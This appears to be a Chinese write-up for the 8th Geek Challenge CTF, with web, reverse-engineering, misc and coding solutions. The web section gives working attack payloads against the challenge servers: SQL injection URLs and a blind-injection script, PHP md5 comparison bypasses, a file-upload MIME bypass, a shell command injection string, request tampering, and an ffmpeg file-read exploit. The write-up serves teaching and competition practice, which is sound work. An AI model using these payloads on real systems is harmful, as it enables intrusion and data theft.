第8届极客大挑战Writeup

Web

粗心的李超

难度:简单

爆破,用户:口令为 lichao:lc19971117。

或者读取根目录下的index.php.bak读源码绕过

iPhone X

难度:简单

题目提示要iPhone X访问,需要UA头包含CPU iPhone OS X字样,之后提示IP不符合规则,同时修改xff和ref头尾127.0.0.1得到flag

GET /web_competition/geekCompetition/web_3/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS X like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/13D15 UCBrowser/10.9.15.793 Mobile Gecko/20100101 Firefox/55.0
Referer: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-FORWARDED-FOR: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

这里的UA坑了各位师傅,OS后面应该是系统版本,不是手机的版本。给各位师傅道歉

Buy me a Telsa

难度:中

进入页面发现可以买车,但是买不起,抓包发现传递价格和余额,并有签名验证。发现签名是base64编码三次,修改价格和余额使得余额大于价格并修改签名发包成功购买。

POST /index.php HTTP/1.1
Host: 120.25.80.195:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Referer: http://120.25.80.195:3001/
Connection: close
Upgrade-Insecure-Requests: 1

submit=%E8%AE%A2%E8%B4%AD&value=1&yue=10&sign=WkVkV2VtSkhSazVpTWxKc1lrWm9OMlJ0Um5Oa1YxVTJUVk40TjJSWVRteGpiazF1WTNsQ05XUlhWVFpOVkVJNQ==

PS:第一次打开网页会比较慢,再访问使用缓存,就快很多。

视频播放器

难度:简单~中

读源码,判断是ffmpeg

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin
python3 ./gen_xbin_avi.py file:///var/www/html/index.php exp.avi

PHP的悖论1

难度:简单

考察php的弱类型和数组绕过基础,都是恨经典的题

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2'])){
    echo $flag; 
}

这道题不能用弱类型绕过,但是可以用数组导致md5()函数报错返回空,空===空符合条件,得到Flag。

s1[1]=&s2[]=

PHP的悖论2

难度:简单

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) == md5($_POST['s2'])){
    echo $flag; 
}

这个就是标准的弱类型了

取md5之后为0e开头的字符串,如s1=QNKCDZO&s2=240610708

当然这两道题也可以用hash碰撞解决,如这两个字符串:

s1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
s2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

G胖万岁

难度:难

看到url最后为?type=DESC,猜想sql语句为:"Select * from ** order by id".$GET['type']

关于sql语句相关的语法
https://dev.mysql.com/doc/refman/5.7/en/sorting-rows.html
https://dev.mysql.com/doc/refman/5.7/en/order-by-optimization.html

于是开始构建语句,这里有很多种构建方法,如利用sql语句的排序机制在后面加上type=|1type=|2或者type=^1type=^2会返回不同的排列顺序。还可以构建畸形的多子段排序,type=,1type=,0会返回正常和空.

后面就可以写脚本跑了。

但是很多人在跑完表名、字段名之后拿数据的时候跑不出来了,于是来问我。其实数据库里的东西都是一直存在的,没有问题,但是在linux下mysql默认设置会产生一些坑点,这就是mysql对字母大小写的处理机制的配置。

很多人在构造payload时用了regexp()这个函数,因为好写脚本,payload也短。但是regexp()这个函数是对大小写不敏感的,而linux下mysql默认的大小写配置是这样:

MySQL在Linux下数据库名、表名、列名、别名大小写规则是这样的:
  1、数据库名与表名是严格区分大小写的;
  2、表的别名是严格区分大小写的;
  3、列名与列的别名在所有的情况下均是忽略大小写的;
  4、字段内容默认情况下是大小写不敏感的。

这样拿数据的时候,用的是之前regexp()查到的不区分大小写的表名和字段名,在最后的 select 字段名 from 表名 的时候就会报错,拿不到数据。所以在盲测的时候最好用ascii,可以完美规避这个问题。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

def check(content):
    return "Terraria" in content

def guess(url):
    response = requests.get(url)
    content = response.content
    return check(content)

data = ""
for i in range(0x20):
    LEFT = 0x00
    RIGHT = 0x100
    P = (RIGHT + LEFT) / 2
    while RIGHT - LEFT > 1:
        url = "http://game.sycsec.com:2008/Steam/1.php?type=,(select 1 regexp if(ascii(substring((select concat(table_name)from information_schema.tables where table_schema%3ddatabase() limit 0,1),"+str(i)+",1))%3c"+hex(P)+",1,0x00))%23"
        print "[+] Payload : %s" % (url)
        print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
        if guess(url):
            RIGHT = P
        else:
            LEFT = P
        P = (RIGHT + LEFT) / 2
    data += chr(P)
    print "[+] Data : %s" % (data)

[+] Tables : F1AG_1S_H3RE,GAMES
[+] Columns : ID,F14G_IS,ID,NAME,TIMES,SCORE,ACHIEVEMENT,PRICE

故道白云

考点:sql注入联合查询法,sqlmap等注入工具使用
通过输入框提交到我们url:

http://game.sycsec.com:2006/?id=1&submit=submit

可以发现我们可以改变id的值来获取不同的数据,测试注入

注入:

http://game.sycsec.com:2006/?id=1' order by 2-- -&submit=submit

http://game.sycsec.com:2006/?id=-1' union select f4ag,2 from f1ag.flag-- -&submit=submit

得到:SYC{HACKEr_By-cL0und}

Clound的错误

考点:sql报错注入
右键网页源码:

可以得到参数sycid和注入方向
页面输出了语句和报错信息 所以可以使用报错注入
测试:

http://game.sycsec.com:2007/?sycid=1' and extractvalue(0x2a,concat(0x2a,(select version())))-- -

通过故道白云的payload来依次获取flag

http://game.sycsec.com:2007/?sycid=1' and extractvalue(0x2a,concat(0x2a,(select f4ag from f1ag.flag)))-- -

得到:SYC{Err0r_sql_inj}

Clound的错误2

考点:sql绕过过滤
页面返回了执行的sql语句 通过测试 可以发现有些关键词被过滤为空了 如:

http://game.sycsec.com:2010/?sycid=-1' unino select 1,2-- -

可以发现报错为:

语句中select和空格 被过滤为空了
其中关键词过滤为空 我们可以使用重复来绕过 比如 selselectect过滤select后就变为了select 有变成了我们想要的数据
过滤空格绕过的方法有很多 可以参考:
http://blog.sycsec.com/?p=1005
所以我们可以结合故道白云和Clound的错误 最后:

http://game.sycsec.com:2010/?sycid=-1'/**/aornd/**/extractvalue(0x2a,concat(0x2a,(selorect/**/f4ag/**/frorom/**/f1ag.flag)))/**/anord/**/'1'='1

得到:SYC{Err0R_sQl_inj2}

大大的标题

考点:文件上传绕过
服务端检测为:

$file_type = $_FILES[ 'file' ][ 'type' ];
.....
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

没有直接检测后缀 而是直接检测的$_FILES[ 'file' ][ 'type' ] 导致可以绕过上传
因为本题希望大家上传php文件 所以
上传php文件抓包 修改Content-Type为image/jpeg:


上传成功 得到:SYC{CLound-upL0ad}

你的名字(web350)Write-up

考察的知识点

  • 正则表达式没有匹配多行,使用换行符绕过
  • 过滤空格,使用tab绕过
  • 通配符?的使用
    > Reference:
    > Babyfirst
    > 通配符

解题思路

首先fuzz发现只能使用数字字母下划线,这里使用\n (url编码:%0a)绕过,具体参考Reference中的babyfirst一题,绕过后再fuzz发现过滤没那么严格,读文件可以用类似c\at绕过,而空格则使用tab (url编码:%09)绕过。
根据name=jiangxx得到的提示,猜测文件为一个隐藏文件,文件名可以使用burp爆破,方法就是使用通配符?代替文件名中的每一个字符,直到长度与文件名相同。之后直接用cat\xxd\pg等命令直接读取就好。

payload

index.php?name=%0aca\t%09.???????????????????????????????

快捷方式的妙用

考察的知识点

解题思路

根据upload.html的标题:Just tar archive, 上传一个tar包,获得回显。再根据题目名快捷方式联想到linux下与快捷方式功能相似的符号链接,于是生成一个软链接,指向题目文件upload.php, 在upload.php中得到flag位置的提示,同理获得flag

payload

ln -s /var/www/html/link/upload.php upload
tar cvf upload.tar upload

RE

RE100 convolution

IDA反编译得到核心代码

    for (int i = 0; i < strlen(flag); ++i)
        for (int j = 0; j < strlen(key); ++j)
            ans[i + j] += flag[i] ^ key[j];

可以得出flag[0]
可以根据flag[0]得到flag[1]
可以根据flag[0], flag[1]得到flag[2]
以此类推
解密代码

#include<cstdio>
#include<cstring>
const int MAXN = 64;
char b[]={'\x72','\xe9','\x4d','\xac','\xc1','\xd0','\x24','\x6b','\xb2','\xf5','\xfd','\x45','\x49','\x94','\xdc','\x10','\x10','\x6b','\xa3','\xfb','\x5c','\x13','\x17','\xe4','\x67','\xfe','\x72','\xa1','\xc7','\x4','\x2b','\xc2','\x9d','\x3f','\xa7','\x6c','\xe7','\xd0','\x90','\x71','\x36','\xb3','\xab','\x67','\xbf','\x60','\x30','\x3e','\x78','\xcd','\x6d','\x35','\xc8','\x55','\xff','\xc0','\x95','\x62','\xe6','\xbb','\x57','\x34','\x29','\xe','\x3'};
char key[]="!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~";
char ans[MAXN];
int main() {
    int n=strlen(b);
    int y=strlen(key);
    int x=n-y+1;
    memset(ans, 0, sizeof(ans));
    for(int i=0; i<x; ++i)
    {
        ans[i]=b[i]^key[0];
        for(int j=0; j<y; ++j)
            b[i+j]-=ans[i]^key[j];
    }
    puts(ans);
    return 0;
}

答案为SYC{4+mile+b3gin+with+sing1e+step}


RE300 transform

这是一个针对序列的变换,我们不需要了解变换的实际含义和数学原理,只需要写出它的逆变换就行了,有个逆变换虽然不是相关领域常用的,但非常好理解,如下
题目核心变换代码

void ntt(ll* a, int n) {
    int rev[MAXN];
    rev[0] = 0;
    for (int i = 1; i < n; ++i) {
        rev[i] = rev[i >> 1] >> 1;
        if (i & 1) rev[i] |= n >> 1;
    }
    for (int i = 0; i < n; ++i) {
        if (i < rev[i]) swap(a[i], a[rev[i]]);
    }
    ll g = 3;
    for (int s = 2; s <= n; s *= 2) {
        ll wm = MyPow(g, (MOD - 1) / s);
        int m = s >> 1;
        for (int i = 0; i < n; i += s) {
            ll w = 1;
            for (int j = 0; j < m; ++j) {
                ll u = a[i + j], t = a[i + m + j];
                a[i + j] = (u + w*t) % MOD;
                a[i + j + m] = (u - w*t) % MOD;
                w = w*wm%MOD;
            }
        }
    }
}

逆变换代码

void Intt(ll* a, int n) {
    int rev[MAXN];
    rev[0] = 0;
    for (int i = 1; i < n; ++i) {
        rev[i] = rev[i >> 1] >> 1;
        if (i & 1) rev[i] |= n >> 1;
    }
    ll g = 3ll;
    for (int s = n; s >= 2; s /= 2) {
        ll wm = MyPow(g, (MOD - 1) / s);
        int m = s >> 1;
        for (int i = 0; i < n; i += s) {
            ll w = 1;
            for (int j = 0; j < m; ++j) {
                ll u = a[i + j], t = a[i + m + j];
                a[i + j] = (u + t)*inv(2)%MOD;
                a[i + j + m] = (u - t)*inv(2*w) % MOD;
                w = w*wm%MOD;
            }
        }
    }
    for (int i = 0; i < n; ++i) {
        if (i < rev[i]) swap(a[i], a[rev[i]]);
        if (a[i] < 0) a[i] += MOD;
    }
}

最后答案SYC{N77_wi11_make_you_happy}

Windows_1

IDA载入文件后在main函数就能看到flag的ascii码,转换成字符串就可以了。

Windows_2

根据题目提示可以想到题目的文件是被xor加密过的,而且提示了PE文件,也很容易联想到利用PE文件头中一些不变的字段来找出xor所用的数字。

找出加密数字的脚本。

//FindEn.c
#include <stdio.h>
int main(){
    FILE *fp = fopen("encryptPE.exe","rb");
    FILE *fp_2 = fopen("test.exe","rb");
    char c_1,c_2;
    char x;
    __int16 i=0;
    while(!feof(fp)){
        c_1 = fgetc(fp);
        c_2 = fgetc(fp_2);
        x = c_1^c_2;
        printf("%d ",x);
        if((i++)>50)
            break;
    }
    fclose(fp);
    fclose(fp_2);
    system("pause"); 
}

解密脚本

//DoDecrypt.c
#include <stdio.h>
void decrypt(FILE*fp);

__int16 de_num[] = {0x53,0x87,0xf2,0xa4,0xe2,0xb7};

int main(){
    FILE *fp = fopen("encryptPE.exe","rb");
    decrypt(fp);
} 
void decrypt(FILE*fp){
    char c;
    int i=0;
    FILE *fp_2 = fopen("decryptPE.exe","wb");
    while(!feof(fp)){
        c = fgetc(fp);
        c^=de_num[(i++)%6];
        fputc(c,fp_2);
    }
    fclose(fp);
    fclose(fp_2);
}

Windows_3

程序会提示输入密码得到flag,密码看起来是随机的,最简单的做法就是载入动态调试器在跳转处下断,然后修改跳转指令。

用IDA分析也是可以,不过很明显,前者更简单。

windows_4

考察点

  • windows API
  • windows消息机制
  • 常见密码学算法

程序流程

有两部分
1.取前五字节进行MD5分段比较
将md5解码就能得到h311o
2.第一部分通过后会调用sendmessage 发送0x8000消息
找到消息循环,看到第二部分验证
第六,七,八,九字节分别是G,e,e,K

输入h311oGeeK就可以了

APK_1

将程序载入JEB即可发现,主要有两个验证函数。

很明显了,username就是 “SycGeek2017” password就是username通过base64编码之后再逆序的结果。

Linux_1

程序载入IDA中之后找到验证函数可以发现flag就是通过单字节对比来验证的。

将对应的ascii码转换成字符就可以了

Misc

MISC100 找规律

由于数列数字是呈指数级增长的推断它是线性递推数列,设一个较高的阶数,并使用待定系数法得到一个线性方程组
此处输入图片的描述
由于方程组可能有无穷解,可以先求出当前矩阵的秩,再以此为阶数,生成方程组
matlab 代码

a=[0, 1, 1, 2, 8, 18, 59, 155, 460, 1276, 3672, 10357, 29533]
y=a(9:13)'
A=[a(8:-1:4); a(9:-1:5); a(10:-1:6); a(11:-1:7);a(12:-1:8)]
x=rank(A)
A=A(1:x,1:x)
y=y(1:x)
inv(A)*y

最后答案为SYC{4274885634120}

蕉迟但到

使用binwalk,手动分一下动图,可以找到一个叫加密过的docx和兔子师父表情包一枚,根据表情包提示,FLAG为压缩过的docx的密码,解密即可。

SYC{X1_ZI_Zh@_LiE}

拿出荧光棒

根据提示的密码,使用MP3Stego等工具进行解密,即可拿到flag

SYC{girigiriai~grIgIrIm@i~}

docker 1

安装好docker,直接pull,然后docker run -it 镜像名,在当前目录就有一个flag文件。

或者

SYC{1_1ov3_D0cker_a_loT!!!!}

docker 2

在 var/www/http 下发现 .flag.txt

SYC{!Th1s_1s_Th3_f1ag_which_1s_hIdd3n}

docker 3

ls -a
在隐藏文件夹 home 里发现 flag.zip

根据关于密码的提示,使用各种zip密码破解工具都可以破解,密码为SYC19970723

SYC{My_B1rthd4y_1s_My_p4ssw0rd___}

Code

Code 150 可以跑一年

算法为矩阵加快速幂,主要不想被暴力算出来,想考察下大家的代码实现能力。这里有完整版代码,大家比较一下

#include<cstdio>
#include<cstring>
#define CLR(x) memset(x, 0, sizeof(x))
typedef long long ll;
ll a[3][3]={0,1,0,0,0,1,-1,2,1};
ll e[3][3]={1,0,0,0,1,0,0,0,1};
const ll MOD = 1e9+7;
struct Matrix{
    ll d[3][3];
    Matrix() {
        CLR(d);
    }
    ll* operator[] (int x) {
        return d[x];
    }
    void print() {
        for(int i=0; i<3; ++i)
            for(int j=0; j<3; ++j)
                printf("%lld%c", d[i][j], ",\n"[j==2]);
    }
};
Matrix operator * (Matrix& a, Matrix& b) {
    Matrix ret;
    for(int i=0; i<3; ++i)
        for(int j=0; j<3; ++j) {
            for(int k=0; k<3; ++k)
                ret[i][j] += a[i][k]*b[k][j];
            ret[i][j]%=MOD;
        }
    return ret;
}
Matrix MyPow(Matrix a, ll x) {
    Matrix ret;
    memcpy(ret.d, e, sizeof(e));
    while(x) {
        if(x&1) ret=ret*a;
        a=a*a;
        x>>=1;
    }
    return ret;
}
int main() {
    Matrix A;
    memcpy(A.d, a, sizeof(a));
    ll n=3141592653589792ll;
    Matrix B=MyPow(A, n);
    printf("%lld\n", B[0][2]);
    return 0;
}

答案SYC{101634435}


Code150 排列

以前曾自己实现过next_permutation函数,想考察大家对现象的归纳,和对规律的归纳能力,和对算法的设计能力。可以尝试交换两个数之后他们的排名相差多少,排名变化应该是随两个数的位置距离呈阶乘级增长。选择合适的数交换之后,需要变化的排名就很小了,之后就可暴力。当然还有一个办法是康托展开和康托逆展开,排列和他的排名是一一映射关系,有算法可以知道一个得到另一个
答案SYC{108613131227915514114}